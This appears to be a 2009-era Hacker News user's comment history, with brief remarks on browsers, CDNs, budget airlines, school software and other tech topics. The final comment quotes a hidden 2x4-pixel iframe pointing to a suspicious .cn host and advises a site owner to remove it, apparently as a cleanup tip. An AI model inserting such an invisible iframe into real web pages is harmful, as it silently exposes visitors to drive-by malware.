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by kierank 17y ago
Minor word of warning. Scrolling through that document caused major cpu usage and my browser to lock for about 20 seconds. (Opera on Windows XP)
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by kierank 17y ago
This is a nice step forward from services like Outlook Web Access so I can see how it can be easily incorporated in corporate environments.
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by kierank 17y ago
I agree with you in the sense that most people at the kind of events this guy talks about are doing web-apps/social media of some sort. He needs to go to some of the more tech-based events where people are genuinely innovating.
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by kierank 17y ago
I think this is getting more and more common because of so-called "tech" bloggers not fact-checking their stories and generally overhyping social media (twitter/facebook/youtube etc..) because of their relative simplicity compared to someth
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by kierank 17y ago
Not sure why this guy is being downvoted. He's right.
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by kierank 17y ago
MogileFS is what you're looking for. Native http support with a MySQL tracker.
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by kierank 17y ago
This would be pretty useful. The best use of the BBC's RSS feeds that I've seen was on a ferry and they had BBC screens showing the latest news.
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by kierank 17y ago
The name of the product is SIMS.net: http://en.wikipedia.org/wiki/SIMS.net
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by kierank 17y ago
(there is a big one kicking about that plenty of schools in the UK have but I forget the name offhand). SIMS.net
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by kierank 17y ago
The internet handled it fine. Certain websites didn't. An automatic scaling system using something like Amazon Web Services and a lot of varnish caches would have handled this fine. Unfortunately certain blogging platforms decide to have
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by kierank 17y ago
Why can't the iranians just filter TOR node IP addresses?
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by kierank 17y ago
Yes, lost cost carriers are regulated by the Civil Aviation Authority and in the case of Ryanair the Irish equivalent.
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by kierank 17y ago
In my opinion Ryanair and Easyjet "hacked" the aviation industry creating a whole new class of low-fare product by cutting costs significantly.
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Why cheap airlines are so cheap(flickr.com)
80 points by kierank 17y ago|46 comments
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by kierank 17y ago
The term "Cloud computing" has been abused quite heavily but here's how I understand it: Your use of an external service where your use of that service (e.g. storage, processing power etc.) is so small compared to the global use that you ar
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by kierank 17y ago
The jquery one only has a 1 year expiry time...
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by kierank 17y ago
What I really would like to see is an independent third-party which cares nothing about data mining (maybe the w3c) host commonly used scripts (e.g. jquery) on Akamai and minified/compressed; all the parameters to their optimum instead of t
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Clever British plug design.(youtube.com)
57 points by kierank 17y ago|11 comments
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by kierank 17y ago
Please don't use lightboxes. In my opinion they break the natural flow of web browsing.
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by kierank 17y ago
The title of this post is misleading. It implies GDP has falled by 1.3T whereas wealth in this case has fallen 1.3T.
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by kierank 17y ago
Printable Link: http://www.nytimes.com/2009/06/14/magazine/14search-t.html?_... EDIT: Doesn't work unless you have the correct Referer...
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by kierank 17y ago
It's interesting that Adobe brought this out a few months later - https://browserlab.adobe.com/index.html
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by kierank 17y ago
www.bing.com appears to me on Akamai and they are huge linux users so in some sense Bing is not on a MS stack.
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by kierank 17y ago
In the sticks everything goes through the expensive BT Ipstream product anyway.
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by kierank 17y ago
I wonder why Adobe doesn't offer anything similar.
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by kierank 17y ago
Product keys don't seem to work though... EDIT: I mean the site won't generate any keys for you.
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by kierank 17y ago
I'm using Opera and i can't get away from the overlay screens that appear.
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by kierank 17y ago
Every other week these figures appear and every time on HN they are debunked. The Credit Suisse analyst's report has little idea about how delivering large amounts of data on the net works. See my previous comments on this story for more in
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by kierank 17y ago
I get the feeling HD support was an afterthought just so "Zune HD" would make sense. In my opinion adding HD support is pointless for a 480x272 screen; the only useful HD feature is the ability to play on external screens.
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by kierank 17y ago
Remove the following iframe from your homepage: <iframe src="http://bestwebfind.cn:8080/ts/in.cgi?pepsi11" width=2 height=4 style="visibility: hidden"></iframe>

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